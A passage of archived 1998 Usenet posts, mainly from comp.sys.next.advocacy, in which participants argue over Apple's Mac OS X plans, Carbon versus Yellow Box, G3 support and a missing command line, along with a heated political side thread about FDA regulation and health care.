References: <6o322n$crr$1@lwnws01.ne.highway1.com> <B1CA843B-1438B@206.165.43.167> <slrn6qaepp.ki5.jason@jhste1.dyn.ml.org> <joe.ragosta-1007980833500001@wil117.dol.net> <6o59qs$jc8$1@sun27.hrz.tu-darmstadt.de>
In article <6o59qs$jc8$1@sun27.hrz.tu-darmstadt.de>,
neuss.@informatik.th-darmstadt.de.nos-pam says...
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> >In article <slrn6qaepp.ki5.jason@jhste1.dyn.ml.org>,
> >> Funny - I've been dealing with a law firm for the last couple of days
> >> that has email, but has no idea how to deal with receiving attachments.
> >> They _insisted_ on a floppy, despite the inconvenience of getting the
> >> damn thing.
> >
> >Good thing a law firm can afford to buy a Superdrive for their iMacs.
> >
> >BTW, feel free to tell them that I'll teach them how to use attachments
> >for, let's say, $20,000.
>
> Hey, they're *lawyers* - don't you think $20.000 is a little bit low?
;-)
Aw, heck, I'd do it for $5,000*
Donald
*per byte transferred
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 10 Jul 1998 18:31:08 -0600
Organization: Stone Entertainment
Message-ID: <stone-ya02408000R1007981831080001@news.enetis.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com>
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In article <6o5plf$2j3$1@nnrp1.dejanews.com>, aa158@valleynet.on.ca wrote:
> In article <stone-ya02408000R0807982323110001@news.enetis.net>,
> stone@stoneentertainment.com (Kevin Stone) wrote:
>
> > ... the fabrication that MacOSX will run only on G3 based
> > systems.
>
> Apparently no fabrication... From the July 10 Macintouch:
> <http://www.macintouch.com/>
(snip)
> Compare that statement to this list:
> <http://www.mklinux.apple.com/hardware.html>
> Richard
I don't get it. If what Tevanian says is true, then Apple is pretty much
setting OSX up for failure. These guys have made some huge mistakes in the
past, but they're not that stupid. At the very least they shouldn't be
blind to the fact that an installed base of only a few million G3 Macs will
not make this product successful.
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Apple heading to obscurity?
Date: Fri, 10 Jul 1998 17:52:57 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net>
In the short term, apple is definitely doing good. But, they now have the
best os (openstep) and best dev tools (interface builder, project builder,
webobjects etc). But, the bellow is disturbing:
http://www.macintouch.com/ny1998day2.html
Yellow Box's role
I asked what role Apple expected the Yellow Box APIs to play in a world
where "all life forms are based on Carbon," as Jobs put it in his WWDC
keynote. I expected Bereskin to present what I understood to be the
company line: that Carbon was aimed mainly at developers trying to
preserve the value of their previous investments in the Mac OS APIs, but
that the Yellow Box, because of its advantages as a development
environment, was the solution Apple would recommend for those planning to
create new applications from the ground up.
Instead, Bereskin said "It's clear that if you are starting a new project
and want to reach as many people as possible, the best API is Carbon."
His main arguments seemed to be about the size of the market where such a
project could be deployed -- he noted that Carbon apps could run on all
current Power Macs (on OS releases still to be determined) and of course
on all future Macs running Mac OS X. He didn't mention (and I didn't ask
about) the possibility that Apple might implement a version of the Yellow
Box on pre-X versions of the Mac OS, nor did he mention the Yellow Box
for Windows -- even though those together would make give developers a
vastly larger target market than Mac OS X will for years to come.
What then is the place of the Yellow Box? Bereskin talked about it only
as part of Apple's larger Java strategy. (The Yellow Box APIs weren't
written in Java, of course, but all of them are now available to Java
developers through Java wrappers.) He noted that the Yellow Box is
mature, time-tested framework that resolves many of the problems that
developers have encountered when trying to create full-blown applications
with Java. He promised more details about Apple's plans in this area
sometime in the coming months.
On the basis of this conversation, I'm going to go way out on a limb and
indulge in some wild speculation. (Remember, this is I, not Bereskin.) I
predict that Apple is going to sell or spin off the Yellow Box, probably
along with WebObjects, to some entity focused on Java. If it's sold, it
could be to Sun, or Inprise (the former Borland, run by Del Yocam), or
maybe part of Oracle.
--
So many pedestrians, so little time.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net>
Message-ID: <35a6c1d5.0@news.depaul.edu>
Date: 11 Jul 98 01:37:25 GMT
In comp.sys.next.advocacy Kevin Stone <stone@stoneentertainment.com> wrote:
> I don't get it. If what Tevanian says is true, then Apple is pretty much
> setting OSX up for failure. These guys have made some huge mistakes in the
> past, but they're not that stupid. At the very least they shouldn't be
> blind to the fact that an installed base of only a few million G3 Macs will
> not make this product successful.
Nonsense. It'll be successful because Apple will make it successful.
Apple can ship it on every new Mac, which alone will make it a success,
nevermind the advantages of the OS itself.
It'll be successful because it'll spur people to toss their
old Macs in favor of new G3's. (A different measure of success,
but hardware sales are the measure of Apple's success.)
It's about time Apple got their hardware in order, and
unfortunately that means ending support for the old machines with
all their myriad, bug-inducing, hard-to-support designs.
--
"... and subpoenas for all." - Ken Starr
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 11 Jul 1998 02:30:00 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6o6in8$83n$1@supernews.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net>
Mime-Version: 1.0
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Cc: macghod@concentric.net
Steve Sullivan may or may not have said:
[snip]
-> Instead, Bereskin said "It's clear that if you are starting a new project
-> and want to reach as many people as possible, the best API is Carbon."
Sounds to me like that boy's got to go. Anyone promoting Carbon as anything
more than a legacy-app migration tool is Part of the Problem (tm).
Does anyone know if this guy's in any kind of decision-making role, or is he
just a marketing dweeb? If he's just repeating the mantra to keep Lawson
from freaking out I'd cut him some slack, but this really sounds like he's
telling Mac developers to keep crippling their apps with a 1984-vintage
Pascal API.
[snip again]
-> What then is the place of the Yellow Box? Bereskin talked about it only
-> as part of Apple's larger Java strategy.
Yep, I'd can him in a heartbeat. Java is already irrelevant, and Apple
shouldn'tt align itself too closely with Sun's failure to break the Windoze
platform hegemony. Java is going to bring forth some spectacular failures,
and Apple better not be seen as a Java-pusher.
-jcr
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 11 Jul 1998 03:05:41 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6o6kq5$8u1$1@supernews.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A4DC62.536B8581@nstar.net>
<6o2qdi$lkg@newsb.netnews.att.com> <35A4FA60.FF826332@ericsson.com>
<6o2v1s$m99@newsb.netnews.att.com> <35A5140D.F96A1F3F@ericsson.com>
<6o3fak$13e$3@news.spacelab.net> <6o42ul$cqn$2@supernews.com>
<slrn6qd3k1.ujn.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Cc: NOSPAMmbkennelNOSPAM@yahoo.com
Matt Kennel may or may not have said:
[snip]
-> You know, we've had private roads before. They were called railroads,
-> and accompanied some of the most outrageous abuse of economic and
-> political power the nation's ever seen. Where does the term "to be
-> railroaded" come from?
Mostly from the Railroads' theft of land through the abuse of a government
power known as "Eminent Domain.". One of the great hazards of giving power
like this to governments is that unscrupulous and well-funded private
organizations can buy it and abuse it.
Another favorite abuse of government power is to eliminate one's competition
by erecting regulatory barriers to market entry. Regulation of any business
serves primarily to protect the companies in that business from new
competition.
-> Private investment could have built the interstate system. It did not.
-> Why? Private investment can build and fix roads today. It doesn't.
Private capital looted under the threat of violence is what pays for roads
today. It's still your money and mine, it's just that its allocation is
determined by log-rolling in Congress, not actual market demands for
transportation infrastructure.
-> :-> Ever eat food or use prescription drugs? (The FDA makes mistakes
once in
-> :a
-> :-> great while, agreed, but it does pretty well making sure that people
don't
-> :-> get sick or die from such things.)
-> :
-> :You are mistaken.
-> :
-> :The FDA kills thousands of people every year by keeping medicines off the
-> :market for decades, even after they are tested and approved in other
-> :countries.
->
-> How, and more importantly, why did they get tested and approved in
-> other countries? Because of *their* government regulations.
Actually, the fact that other governments have approved the drugs in question
really isn't relevant to my argument. The point is, that the FDA prohibits
life-saving drugs unreasonably.
-> Suppose nobody did this?
If nobody did this, then there would be no data on the efficacy of drugs. I
think your question really is, "What if nobody in *government *did this?"
IF this were the case, then it would be up to private entities to test drugs.
I for one, would feel a whole lot better with a treatment regime that was
tested and aproved by a private laboratory with a reputation to protect.
-> What would happen if all sorts of biologically active chemicals could
-> be marketed and promoted for very serious disease just like fast-food?
Then people and their doctors would pick and choose the treatments that they
wanted to try, and the results would determine the success or failure in the
marketplace of the various possible treatments. I don't have a problem with
that, why do you?
-> It wouldn't matter if the drugs worked, just if you could convince
-> guillible desperately ill people that they would.
That's the case now, and all the FDA regulations don't save the children who
get killed by pig-ignorant parents who insist that prayer is the right
treatment for trivially treatable infections like meningitis.
-> :I have some direct experience with the FDA approval process, and it's
pretty
-> :sickening, to say the least. A device I worked on for Karyotyping (used
in
-> :Oncology) cold have cost about $25K, but compliance with FDA regulations
-> :pushed its cost into six figures. One of all the factors contributing to
-> :spiralling health-care costs in the USA, I would name the FDA as the
biggest
-> :single culprit.
->
-> Maybe so. But the principle is not wrong, and most thinking people
-> understand why. The libertarian fundamentalists don't understand
-> this.
What you fail to understand, is that liberty requires no justification. It
is the person advocating a government interference between me and my doctor
and pharmacist, who has to justify that interference. I submit that the FDA
kills thousands annually by witholding lifesaving treatment.
Unless you can make a convincing argument that witholding such treatments is
justified by saving the lives of the gullible (in other words, which way
kills more people?) then you don't have a leg to stand on.
-jcr
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 11 Jul 1998 03:08:53 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6o6l05$8u1$2@supernews.com>
References: <359A90F9.A546707D@alum.mit.edu> <6o5hrd$jd4$1@camel0.mindspring.com>
<6o5i34$khq$1@camel0.mindspring.com> <6o5m9a$smv$1@nnrp1.dejanews.com>
<6o5shq$p47$1@camel0.mindspring.com> <35A67AFE.87BA2FA2@ericsson.com>
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Cc: Michael.Peck@ericsson.com
Michael Peck may or may not have said:
-> Matthew Cromer wrote:
-> >
-> > In article <6o5m9a$smv$1@nnrp1.dejanews.com> , cswiger@my-dejanews.com
-> > writes:
-> > >No, I haven't. I also don't worry about getting sick if I drink tap
water
-> > >without boiling it first, or that I might risk severe illness if I
don't char
-> > >my steak to well-done because the meat might be contaminated.
-> >
-> > I guess the fact that your meat might well be contaminated despite the
-> > lax supervision of the USDA inspectors hasn't crossed your mind?
->
-> No, and it probably doesn't cross his mind, either, that the SEC is
-> hardly protection against stock failures. But for the majority of the
-> population these kinds of regulatory measure create a false sense of
-> security, making people think that it's OK to suspend all precautionary
-> measures and act like sheep or cows or pigs (or whatever livestock you
-> prefer to liken yourself after). The result is a dangerously unsafe
-> populace at the mercy of the government to whatever extents the
-> government has usurped personal responsibility.
Michael,
Much as we differ on the relative merits of the computing platforms we
usually discuss here, I have to say that when it comes to politics, we seem
to be entirely in agreement.
As many have said, the trouble with trading liberty for safety, is that you
invariably are left with neither.
-jcr
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 11 Jul 1998 03:20:39 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6o6lm7$bmk$1@supernews.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A5140D.F96A1F3F@ericsson.com>
<6o349q$dt7$3@lwnws01.ne.highway1.com> <35A51590.E1CBC9A1@ericsson.com>
<6o39o5$5jj$1@camel15.mindspring.com> <slrn6qb71d.o2v.sal@panix3.panix.com>
<35A5BA1B.3CFBDCA6@nstar.net> <slrn6qd1j8.30p.sal@panix3.panix.com>
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Cc: sal@panix3.panix.com
Salvatore Denaro may or may not have said:
-> On Fri, 10 Jul 1998 01:52:11 -0500, Michael Peck <mjpeck@nstar.net> wrote:
-> >I wouldn't, to be blunt.
->
-> By not providing guaranteed health care we as a socity are guilty of the
-> same "murder by neglect" that you accuse the FDA of.
->
-> I believe that everyone is born with certain rights. Chief among these
-> are the rights to life, liberty and the pursuit of happiness. By not
-> providing guaranteed health care we are cheating people out of thier
-> right to life.
And if we fail to provide National Lunch Insurance, are we similarly denying
people their right to life? After all, everybody's gotta eat, right? In
fact, starvation would kill most people a whole lot faster than deprivation
of medicines.
The evil intrinsic in a claim of a "right" to something at someone else's
expense, is that if you have a "right" to something that you can't produce
yourself, then you must have a "right" to compel someone else to provide it.
If you presume to claim that I have an *obligation* to pay your medical
bills, then my response is: "Go to hell, you freeloader."
-jcr
From: wiggin@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 11 Jul 1998 03:13:41 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6o6l95$91s$1@nnrp1.dejanews.com>
References: <6j2m0f$m0c$3@ligarius.ultra.net> <6k6rm6$nkn$5@ligarius.ultra.net> <3578a103.7795788@news.supernews.com> <6kkgk9$2h7$2@gte1.gte.net> <6kl05l$k1$1@inconnu.isu.edu> <slrn6mtk1e.2rc.jedi@dementia.mishnet> <uWKsMaFl9GA.268@upnetnews02.moswest.msn.net> <01bd949c$de9bbf80$8383050a@bgravitt.CORP.VHA.COM> <OC4xcsNl9GA.197@upnetnews05> <01bd9569$197effa0$8383050a@bgravitt.CORP.VHA.COM>
oh come on! You know perfectly well where Sun wants to go with Java. Sun
would like PC users to switch to NCs that only run Java. I personally would
rather have one computer that can be developed for with several languages than
one language that can build apps for all computers.
and another thing, Java is really not that appealing in terms of power. If
Java is the symbol of the future of cross-platform computing, then I'd like to
see Microsoft or at least someone take over and annhilate the idea of cross-
platform once and for all!
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 11 Jul 1998 03:28:15 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6o6m4f$bmk$2@supernews.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com>
<6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
<joe.ragosta-1007981420010001@wil56.dol.net>
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Joe Ragosta may or may not have said:
-> In article <6o5jba$6q$1@news.xmission.com>, don@misckit.com wrote:
-[snip]
-> > That's what I hate about this whole thing.
-> >
-> > Yellow box on Winblows sucks rocks out of black holes. Winblows is NOT
a
-> > "solution" as far as I'm concerned. I want the full OS, on Intel.
Period.
-> > That's what I call a "solution".
->
-> "sucks rocks out of black holes". Maybe just a teensy bit of
exaggeration?
Nope, he's not exagerating one little bit. Hell, thanks to the bleeding
brain-damaged MS linker, and their inexcusable implementation of shared
libraries, (only a problem that was solved THIRTY YEARS AGO, DAMMIT!) you
can't even declare external symbols in a C program PER THE ANSI SPEC!
As bad as Windoze is for mere lusers, it's vastly worse for developers who
know what an OS *should* do, and how it *should* work.
Windows: I've seen it. It's wretched.
-jcr
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: The price of the Microsoft deal?
Date: 11 Jul 1998 03:34:04 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6o6mfc$bmk$3@supernews.com>
References: <6o3vu2$m80$1@news.xmission.com> <Fergus.Doherty-ya02408000R1007981043370001@news.nottingham.ac.uk>
<slrn6qd35g.30p.sal@panix3.panix.com>
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Cc: sal@panix3.panix.com
Salvatore Denaro may or may not have said:
-> What would be the message to Mac owners if thier 9600s couldn't run
-> MacOSX but a DellMMX from the same time could run it?
The message would be that Apple's design and manufacturing had gotten
completely fucked up with their "incompatible motherboard of the week"
approach, and that it's a damn good thing that Rubinstein came in to bring
some sanity to the hardware design cycle. Apple's product lineup was a
complete train-wreck last year. Mac II LX? LC? SI? Performa? Quadra?
PowerMac? WTF? I just want to buy a Mac, for god's sake!
-jcr
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 10 Jul 1998 22:54:38 -0500
Organization: Prairie Group
Message-ID: <MPG.10109df7848fcd95989975@news.supernews.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net>
In article <macghod-1007981752580001@sdn-ar-
001casbarp159.dialsprint.net>, macghod@concentric.net says...
> Instead, Bereskin said "It's clear that if you are starting a new project
> and want to reach as many people as possible, the best API is Carbon."
> His main arguments seemed to be about the size of the market where such a
> project could be deployed -- he noted that Carbon apps could run on all
> current Power Macs (on OS releases still to be determined) and of course
> on all future Macs running Mac OS X. He didn't mention (and I didn't ask
> about) the possibility that Apple might implement a version of the Yellow
> Box on pre-X versions of the Mac OS, nor did he mention the Yellow Box
> for Windows -- even though those together would make give developers a
> vastly larger target market than Mac OS X will for years to come.
>
If you are starting a new project today and want to reach as many people
as possible, the best API is Carbon, no doubt about it.
Your program will run on all future variants of OS X, plus prior versions
using the library, and most importantly, a version using OS 7.x or 8.x
using conditional compilation of the few problems. Your one source code
can cover all Macs run 7.0 and up.
Whereas with OpenStep/YellowBox, on the Mac side of the street, you can
run on MacOS X and MacOS X for Servers. People talk about the
possibility of a Yellow box for Mac, but I'm not going to bet my company
on a possibility.
As for YellowBox for Windows...We know which side of the bread is
buttered for Apple. They're not turning into a software company, they're
a hardware company, so a development system for other OSes will take
second place. Borland (C++Builder) and Microsoft (Visual C++) are
dependant on their Intel development system continuing to grow and keep
up with changes to Windows. If there were several shipping commercial
products currently being accepted by the market created by YellowBox for
Windows, I might reconsider, but that's one cutting edge I can avoid.
If you are starting a product now, the best API is Carbon. If and when
YellowBox for MacOS7.x/8.x and YellowBox for Windows are in firm late
beta condition, and we can see what a YellowBox for Windows app is like
(and so whether it is commercially viable or not), if and when that
happens, the best API may no longer be Carbon. But for now, Carbon is
the best bet.
Donald
From: Steven W. Schuldt <sschuldt@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: 11 Jul 1998 03:52:06 GMT
Organization: MediaOne -=- Northeast Region
Message-ID: <6o6nh6$gcd$1@ndnws01.ne.highway1.com>
References: <6o6in8$83n$1@supernews.com>
In article <6o6in8$83n$1@supernews.com> jcr.remove@this.phrase.idiom.com (John
C. Randolph) writes:
> Yep, I'd can him in a heartbeat. Java is already irrelevant, and Apple
> shouldn'tt align itself too closely with Sun's failure to break the Windoze
> platform hegemony. Java is going to bring forth some spectacular failures,
> and Apple better not be seen as a Java-pusher.
>
> -jcr
>
One note, the author of this article is Henry Norr, who has seemingly been on
a one-man crusade to derail all things NeXT at Apple since the merger. Take a
look at his track record.
Notice how he didn't press Bereskin on the obvious oversight that Yellow Box
for Win = many times more seats for new applications? This is because
Bereskin had just given Norr the wiggle-room to spin the story his way. You
can bet your last dollar that Norr spun his original question to Bereskin in
such a way as to lead him to give the answer he gave. All of this so Norr
could spread the FUD: Yellow Box and WebObjects are history; spare parts to be
auctioned off at some later date. Now back to your regularly scheduled
Macintosh. Kickbacks to the usual PO Box.
I'll tell you this much, whatever the case I don't really have the stomach for
this nonsense. The legions of Dave Winers and Henry Norrs that call the Mac
world home are camping in 1984 and they have made more than clear that they
ain't movin' and we are not welcome around here with our scary, high-falutin'
OO frameworks and tools. Hey, with friends like this in the Mac community why
worry about Microsoft? The Mac world eats its own. No wonder they haven't
accomplished a thing in ten years. I'm not going to bang my head against a
wall trying to convince armies of lazy, mono-browed MacSlobs(TM) that there is
a better way. Why bother?
Sigh. I guess all I can really say is:
15,000 lines of code for SimpleText. HAHAHAHAHAHAHAHAHA!!!
- Steve
Boston '98 +On +On
From: xerxes@diku.edu.dk (Per Erik Ronne)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 11 Jul 1998 06:23:36 +0100
Organization: DIKU
Message-ID: <1dbzmut.11chabv1ojq2xyN@ip172.albnxr2.ras.tele.dk>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <rmcassid-0907981204040001@dante.eng.uci.edu> <gmgraves-1007981305540001@sf-usr1-48-176.dialup.slip.net>
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/>C@|s&Og$a~PWByK#FcE"c1eV]<oBYWgsvFx)X.1IV=wcC9^!onQ4M8ewM
George Graves <gmgraves@slip.net> wrote:
> I can tell you for a dead-cinch fact that Apple most assuredly CAN
> restrict OSX in any way they like. If they design the installer to exclude
> certain gestalt IDs, then OSX simply won't install on those machine
> irresepective of whether or not it will actually run on them!
Can't shareware programmers reverse-engineer the installer and allow the
program to be installed on this computer?
--
Per Erik Rønne
E-mail: xerxes@diku.edu.dk
Homepage with pgp public key: http://www.diku.dk/students/xerxes
Remove '.edu' before e-mail [anti-spam]
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 10 Jul 1998 22:28:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1CC45E8-D794A@206.165.43.3>
References: <6o6in8$83n$1@supernews.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.system
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John C. Randolph <jcr.remove@this.phrase.idiom.com> said:
>Does anyone know if this guy's in any kind of decision-making role, or is
he
>just a marketing dweeb? If he's just repeating the mantra to keep Lawson
>from freaking out I'd cut him some slack, but this really sounds like he's
>telling Mac developers to keep crippling their apps with a 1984-vintage
>Pascal API.
Excuse? GX won't run in Carbon. Given a choice between Carbon and YB, I
would chose YB because I don't have legacy code to support (unless you
count a text-parsing external for HyperCard that calls GX APIs). He isn't
placating me, but Adobe and Microsoft and their ilk.
What is frightening is the thought that YB might really not work as well as
has been hoped. WHere's the native Mac framework if YB isn't going to be
it?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Fri, 10 Jul 1998 22:24:10 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1007982224100001@sdn-ar-001casbarp289.dialsprint.net>
References: <6nvte9$30a@nntp02.primenet.com> <2985-35A499CB-20@newsd-123.bryant.webtv.net> <6o2ikg$aj0@nntp02.primenet.com> <trev-0907981103240001@nas-p4.usc.net> <6o2spu$1do0$1@nntp6.u.washington.edu>
In article <6o2spu$1do0$1@nntp6.u.washington.edu>,
gwangung@u.washington.edu (R. Tang) wrote:
> In article <trev-0907981103240001@nas-p4.usc.net>,
> Trevor Zion Bauknight <trev@sc.edu> wrote:
> >The only people saying "Mac OS X isn't UNIX" were Wintel advocates here
> >who didn't know any better and Linux advocates who were afraid the
> >userland might not be in place for them to count on. The fact is, Mac OS
> >X *is* Unix but it's going to be a damn sight prettier and easier to deal
> >with...
>
> OK, could someone clear something up for me?
>
> Rhapsody is now Mac OS X Server...and it DOES have all the Unix
> tools. Now, a) is there going to be contiinued development of this
> version,
I am not clear on this. One would think that if they go to the trouble of
renaming it, it would continue, but I have not heard anything rescinding
the previous announcement. In fact, while good strategically, to me it
doesnt make much sense. FIrst, apple says, look macos x == rhapsody.
NOW, they say rhapsody will now be called macos x server. If rhapsody now
== macos x server, and macos x = rhapsody, then if you take it to its
logical conclusion macos x server == macos x, which is obviously not true
b) if so, which platforms (Intel, etc.?) and
I can answer this, people at macworld asked this question and the answer
was basically no (it might of actually been that its possible but not
likely, kind of like its POSSIBLE that Steve Jobs will hire that Dell guy
from Dell computers to replace him as permanent ceo)
c) does this change
> any of the arguments about the potential mistake Apple may be making about
> not including the tools on the client OS?
Unfortunately, and I *HOPE* , really really really really HOPE that I am
wrong, that apple is going to use what they bought from next for the
innards of a consumer OS, and sell everything else off (IE the enterprise
stuff)
--
So many pedestrians, so little time.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 10 Jul 1998 22:37:12 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1007982237130001@sdn-ar-001casbarp289.dialsprint.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <rmcassid-0907981204040001@dante.eng.uci.edu> <gmgraves-1007981305540001@sf-usr1-48-176.dialup.slip.net> <1dbzmut.11chabv1ojq2xyN@ip172.albnxr2.ras.tele.dk>
In article <1dbzmut.11chabv1ojq2xyN@ip172.albnxr2.ras.tele.dk>,
xerxes@diku.edu.dk (Per Erik Ronne) wrote:
> George Graves <gmgraves@slip.net> wrote:
>
> > I can tell you for a dead-cinch fact that Apple most assuredly CAN
> > restrict OSX in any way they like. If they design the installer to exclude
> > certain gestalt IDs, then OSX simply won't install on those machine
> > irresepective of whether or not it will actually run on them!
>
> Can't shareware programmers reverse-engineer the installer and allow the
> program to be installed on this computer?
Well, their is already a program to do this, people who install rhapsody
use it. I forget the name, something like "whatami". I am sure someone
will chime in and give its actual name. It lets you choose what kind of
computer the computer will think it is. So, I would assume if you have a
030 mac, you can use it to say its a 040, and os 8 should install that
way.
--
So many pedestrians, so little time.
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 11 Jul 1998 00:41:13 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1107980041130001@news-proxy.cso.uiuc.edu>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net>
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In article <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In the short term, apple is definitely doing good. But, they now have the
> best os (openstep) and best dev tools (interface builder, project builder,
> webobjects etc). But, the bellow is disturbing:
>
> http://www.macintouch.com/ny1998day2.html
I read this and found it disturbing as well.
Carbon just should not be the future of Mac OS programming. It would be
best if we could eventually dump _all_ of the Mac OS baggage. Saying that
Carbon is the future of Mac programming is just scary.
The role that Apple would put Yellow Box (if Ken Bereskin is voicing
Apple's actual policy) is far too insignificant and allows no room for
expansion. If this is what Apple really believes, then the Yellow Box is
doomed.
There is still time yet for changes and clarification. I fear that Apple
may be screwing up, but I hope that Apple will get things right. I just
won't wait very much longer to find out.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 11 Jul 1998 05:49:26 GMT
Organization: Occam's Razor
Distribution: world
Message-ID: <6o6ud6$b37$1@news.cmc.net>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com>
<6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au>
<6ns8hl$a08$1@news.cmc.net> <Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au>
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Cc: rutledge@pigeon.qut.edu.au
In <Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au> Galen Rutledge
wrote:
>On 7 Jul 1998, Leon von Stauber wrote:
>>In <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> Galen
>>Rutledge wrote:
>
>>>And I would bet that it will not be long before a 3rd party hacks a CLI
>>>for MacOS X. I forsee considerable demand for just such a thing.
>>
>>Sure, but it won't be *built-in* as a standard component, it won't
>>be ubiquitous on Mac OS X. It makes a big difference if you can't
>>rely on it being there on every system.
>
>What unadulterated rubbish. I can think of plenty of ways a machine
>could differ within the platform. Different mice/track-balls, utilities
>installed on some systems and not others....
Not the same. Shell scripts will work whether you have a mouse, a
joystick, or a person-sized fully rotational gerbil cage.
It *is* annoying when useful utilities are not included by default
in the system. (Witness the hacks that most UNIX software packages
have to use on NEXTSTEP systems due to the lack of uname.) But at
least if you have a remote login server w/ a command line to begin
with, it's easy to install those utilities on many machines over the
network.
It's much worse if you don't even have the basic capability to do
this built-in. It simply does not scale well w/ large numbers of
machines.
>One major hassle for me is that the NT implementation of the DOS CLI is
>crappy, making it useless for certain applications. In other words, I
>can't rely on a useful CLI on the *current* Wintel platform for certain
>of my needs.
The fact that Windows is brain dead is no excuse for Mac OS X.
>Besides, saying that something is available, but not in the OS by
>default is a pretty weak argument. I think you are really reaching.
No. As I've said, the Windows admins have to do a *lot* more work
to get the same things accomplished as the UNIX admins, because they
